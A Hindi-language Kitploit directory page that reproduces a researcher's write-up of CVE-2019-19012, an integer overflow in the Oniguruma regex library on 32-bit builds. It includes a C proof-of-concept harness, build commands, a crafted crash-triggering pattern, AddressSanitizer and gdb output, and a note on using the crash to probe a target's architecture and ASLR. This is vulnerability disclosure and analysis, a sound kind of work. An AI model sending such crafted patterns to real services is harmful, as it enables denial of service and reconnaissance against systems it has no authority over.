Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-19012 — Oniguruma में पूर्णांक अतिप्रवाह | Kitploit
उपकरण/GitHubGitHub/manhndd/cve-2019-19012
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणजानकारी एकत्र करनाफज़िंगबाइनरी विश्लेषण
GitHubmanhndd/cve-2019-19012

CVE-2019-19012

Oniguruma में पूर्णांक अतिप्रवाह

रिपॉजिटरी देखें
476 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Oniguruma में पूर्णांक अतिप्रवाह (Integer Overflow)

Oniguruma 6.x के 6.9.4_rc2 से पहले के संस्करणों में regexec.c के search_in_range फ़ंक्शन में एक पूर्णांक अतिप्रवाह (integer overflow) आउट-ऑफ-बाउंड्स रीड की ओर ले जाता है, जिसमें इस रीड का ऑफसेट हमलावर के नियंत्रण में होता है। (यह केवल 32-बिट कंपाइल किए गए संस्करण को प्रभावित करता है)। दूरस्थ हमलावर एक क्राफ्टेड रेगुलर एक्सप्रेशन के माध्यम से डिनायल-ऑफ-सर्विस या सूचना प्रकटीकरण, या संभवतः अन्य अनिर्दिष्ट प्रभाव उत्पन्न कर सकते हैं।

शोधकर्ता: ManhND of The Tarantula Team, VinCSS (Vingroup का एक सदस्य)

Oniguruma क्या है

K. Kosako द्वारा विकसित Oniguruma एक BSD लाइसेंस प्राप्त रेगुलर एक्सप्रेशन लाइब्रेरी है जो विभिन्न कैरेक्टर एन्कोडिंग का समर्थन करती है। रूबी प्रोग्रामिंग भाषा, संस्करण 1.9 में, और PHP का मल्टी-बाइट स्ट्रिंग मॉड्यूल (PHP5 से), Oniguruma को अपने रेगुलर एक्सप्रेशन इंजन के रूप में उपयोग करते हैं। इसका उपयोग Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text और SubEthaEdit जैसे उत्पादों में भी किया जाता है।

प्रूफ ऑफ कॉन्सेप्ट

निम्नलिखित C में लिखा गया PoC है। यह पहले आर्गुमेंट को पैटर्न के रूप में और दूसरे आर्गुमेंट को मिलान किए जाने वाले स्ट्रिंग के रूप में प्राप्त करता है।

PoC कोड दिखाएँ
root@kitploit:~
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Oniguruma और PoC को 32 बिट में कंपाइल करें:

root@kitploit:~
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

बग ट्रिगर करने के लिए, स्ट्रिंग "x" और "x{a}{b}0" प्रारूप में पैटर्न प्रदान करें, जहाँ a और b 100000 से छोटे हैं। उदाहरण के लिए:

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

विश्लेषण

संदर्भित सोर्स कोड संस्करण: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

मूल कारण regex.c:5365 लाइन से आता है, जहाँ पूर्णांक अतिप्रवाह होता है:

root@kitploit:~
5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

पूर्णांक अतिप्रवाह तब होता है जब reg->dmax को पर्याप्त बड़ा मान मिलता है। reg->dmax कुछ दूरी प्रतीत होती है जो पैटर्न "x{<number>}y" में <number> के बराबर है, जहाँ x कोई भी कैरेक्टर हो सकता है, y एक अंक होना चाहिए। उदाहरण के लिए, यदि पैटर्न "a{1000}5" दिया जाए, तो reg->dmax = 1000। निम्नलिखित gdb लॉग देखें "./PoC a{1000}5 b":

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

"x{<number>}y" प्रारूप वाले पैटर्न में, dmax का अधिकतम मान 100000 होता है, क्योंकि रिपीट संख्या 100000 (ONIG_MAX_REPEAT_NUM) से बड़ी नहीं हो सकती। हालाँकि, यदि हम "x{<number1>}{<number2>}y" प्रारूप में पैटर्न प्रदान करते हैं, तो हमें reg->dmax = number1 * number2 प्राप्त होगा। यह गुणा निम्नलिखित कोड (regcomp.c:6157) में की जाती है:

root@kitploit:~
6156	      else {
6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => multiply into dmax
6158	      }

निम्नलिखित gdb लॉग देखें "./PoC a{1000}{2}5 b":

root@kitploit:~
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>, 
  map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)

इससे भी अधिक, रिपीट संख्या को जितनी बार चाहें नेस्ट किया जा सकता है:

root@kitploit:~
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

इसलिए dmax (एक अहस्ताक्षरित पूर्णांक) [0, 0xffffffff) की सीमा में कोई भी मान हो सकता है, और sch_range += reg->dmax; पर पूर्णांक अतिप्रवाह निश्चित रूप से संभव है। यही बात reg->dmin पर भी लागू होती है। हालाँकि, यह पूर्णांक अतिप्रवाह केवल 32 बिट संस्करण के लिए है। 64 बिट संस्करण में, sch_range एक 64 बिट पॉइंटर है, और dmax अभी भी अहस्ताक्षरित पूर्णांक है, इसलिए पूर्णांक अतिप्रवाह नहीं हो सकता।

ऊपर दिया गया PoC क्रैश हो जाता है क्योंकि sunday_quick_search में, पूर्णांक अतिप्रवाह किसी अमान्य मेमोरी एड्रेस को डीरेफरेंस करने की ओर ले जाता है:

root@kitploit:~
while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p points to invalid address
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

यदि ASLR सक्षम है और यदि हम उपयुक्त पैटर्न प्रदान करते हैं, तो ASLR कभी-कभी डीरेफरेंस किए गए एड्रेस पर मान्य पेज मैप करता है, कभी-कभी कोई पेज मैप नहीं करता, इसलिए PoC कभी-कभी क्रैश होगा, कभी-कभी नहीं। इसलिए इस PoC का उपयोग यह पता लगाने के लिए किया जा सकता है कि लक्षित सिस्टम 32 बिट है या 64 बिट। और यदि यह 32 बिट है, तो हम पता लगा सकते हैं कि ASLR सक्षम है या नहीं।

संदर्भ

  • https://github.com/kkos/oniguruma/issues/164
  • https://en.wikipedia.org/wiki/Oniguruma
टूल डाउनलोड करें